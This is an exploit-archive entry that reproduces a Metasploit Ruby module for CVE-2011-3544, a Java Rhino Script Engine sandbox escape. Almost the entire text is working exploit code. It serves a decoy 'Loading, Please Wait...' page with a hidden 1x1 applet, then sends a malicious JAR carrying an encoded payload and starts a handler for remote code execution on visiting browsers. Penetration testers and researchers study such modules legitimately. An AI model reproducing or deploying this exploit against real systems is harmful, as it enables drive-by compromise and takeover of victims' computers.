Java Applet Rhino Script Engine Remote Code Execution

2011-11-30T00:00:00
ID 1337DAY-ID-17217
Type zdt
Reporter metasploit
Modified 2011-11-30T00:00:00

Description

Exploit for multiple platform in category remote exploits

                                        
                                            ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
require 'rex'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::HttpServer::HTML
 
    def initialize( info = {} )
        super( update_info( info,
            'Name'          => 'Java Applet Rhino Script Engine Remote Code Execution',
            'Description'   => %q{
                    This module exploits a vulnerability in the Rhino Script Engine that
                can be used by a Java Applet to run arbitrary Java code outside of
                the sandbox.  The vulnerability affects version 7 and version 6 update
                27 and earlier, and should work on any browser that supports Java
                (for example: IE, Firefox, Google Chrome, etc)
            },
            'License'       => MSF_LICENSE,
            'Author'        =>
                [
                    'Michael Schierl', # Discovery
                    'juan vazquez',    # metasploit module
                    'Edward D. Teach <[email protected]>',
                    'sinn3r'
                ],
            'References'    =>
                [
                    [ 'CVE', '2011-3544' ],
                    [ 'OSVDB', '76500' ], # 76500 and 76499 have contents mixed
                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-305/' ],
                    [ 'URL', 'http://schierlm.users.sourceforge.net/CVE-2011-3544.html' ],
                ],
            'Platform'      => [ 'java', 'win', 'linux' ],
            'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
            'Targets'       =>
                [
                    [ 'Generic (Java Payload)',
                        {
                            'Arch' => ARCH_JAVA,
                        }
                    ],
                    [ 'Windows Universal',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'win'
                        }
                    ],
                    [ 'Apple OSX',
                        {
                            'ARCH' => ARCH_X86,
                            'Platform' => 'osx'
                        }
                    ],
                    [ 'Linux x86',
                        {
                            'Arch' => ARCH_X86,
                            'Platform' => 'linux'
                        }
                    ]
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Oct 18 2011'
            ))
    end
 
 
    def on_request_uri( cli, request )
        if not request.uri.match(/\.jar$/i)
            if not request.uri.match(/\/$/)
                send_redirect(cli, get_resource() + '/', '')
                return
            end
 
            print_status("#{self.name} handling request from #{cli.peerhost}:#{cli.peerport}...")
 
            send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
            return
        end
 
        paths = [
            [ "Exploit.class" ]
        ]
 
        p = regenerate_payload(cli)
 
        jar  = p.encoded_jar
        paths.each do |path|
            1.upto(path.length - 1) do |idx|
                full = path[0,idx].join("/") + "/"
                if !(jar.entries.map{|e|e.name}.include?(full))
                    jar.add_file(full, '')
                end
            end
            fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2011-3544", path ), "rb")
            data = fd.read(fd.stat.size)
            jar.add_file(path.join("/"), data)
            fd.close
        end
 
        print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
        send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
 
        handler( cli )
    end
 
    def generate_html
        html  = "<html><head><title>Loading, Please Wait...</title></head>"
        html += "<body><center><p>Loading, Please Wait...</p></center>"
        html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
        html += "</applet></body></html>"
        return html
    end
 
end



#  0day.today [2018-04-12]  #